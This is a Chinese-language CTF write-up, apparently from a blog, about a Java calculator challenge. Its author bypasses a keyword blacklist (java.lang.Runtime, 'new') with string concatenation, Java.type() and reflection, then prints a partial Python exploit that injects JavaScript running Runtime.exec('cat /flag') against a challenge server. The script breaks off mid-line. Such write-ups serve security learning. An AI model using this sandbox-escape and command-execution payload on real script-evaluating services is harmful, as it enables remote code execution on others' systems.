1. 眼熟的计算器:黑名单绕过的艺术
这题一上来就给人一种“似曾相识”的感觉,一个简单的计算器界面,但背后藏着一个需要执行系统命令才能拿到flag的Java应用。我拿到题目后,第一反应就是反编译那个JAR包看看源码。果然,里面有一个明显的黑名单机制,它禁止我们直接使用像 java.lang.Runtime 和 new 这样的关键词来创建对象和执行命令。很多新手朋友看到这里可能就懵了,觉得路被堵死了。但其实在安全攻防里,“禁止”往往意味着“引导”,它告诉我们开发者认为哪些路径是危险的,而我们的任务就是找到那条他没堵死,或者自以为堵死了的小路。
这道题的核心思路是 “动态调用”。既然不能直接写 new,我们就用反射(Reflection)。反射是Java里一个非常强大的特性,它允许程序在运行时获取类的信息并动态调用方法,很多框架的底层都依赖它。攻击者同样可以利用它来绕过静态的代码检查。我的绕过策略分几步走:首先,通过字符串拼接来构造被禁的类名 ‘java.lang.Runtime’,因为黑名单检查的是完整的字符串,我拆成 ‘java.lang.Run’ + ‘time’ 它就认不出来了。然后,用 Java.type() 动态加载这个类。接着,获取 Runtime.getRuntime() 来执行命令。这里还有个坑,直接执行命令获取输出流比较麻烦,我选择利用 java.util.Scanner 类来读取命令执行的输入流。但 Scanner 的构造函数也需要 new,怎么办?继续用反射!通过 getConstructor 获取构造器,然后巧妙地用字符串拼接出 newInstance 方法名来调用。
我把最终的攻击脚本整理了出来,你可以看到整个过程就像在玩一个精细的积木游戏,把被禁止的零件拆散,再用另一种方式组装起来:
import requests
import urllib.parse
import re
host = "http://8.147.132.32:38529"
url = f"{host}/calc"
exploit_js = r'''
var rtName = 'java.lang.Run' + 'time';
var Runtime = Java.type(rtName);
var runtime = Runtime.getRuntime();
var p = runtime.exec('cat /flag');
var is = p.getInputStream();
var Scanner = Java.type('java.util.Scanner');
var InputStream = Java.type('java.io.InputStream');
var StringClass = Java.type('java.lang.String');
var constr = Scanner.class.getConstructor(InputStream.class, StringClass.class);
var n = 'n';
var e = 'e';
var w = 'w';
var methodName = n + e + w + 'Instance';
var scanner = constr[methodName](is, 'UTF-8');
scanner.useDelimiter('\\A');
var result = scanner.hasNext() ? scanner.next() : '';
if (result === '') {
var es = p.getErrorStream();
var constr_es = Scanner.class.getConstructor(InputStream.class, StringClass.class);
var scanner_es = constr_es[methodName](es, 'UTF-8');
scanner_es.useDelimiter('\\A');
result = scanner_es.hasNext() ? scanner_es.next() : '';
}
scanner.close();
result;
'''
def send_request(content):
encoded = urllib.parse.quote(content)
target = url + "?content=" + encod


2233

被折叠的 条评论
为什么被折叠?



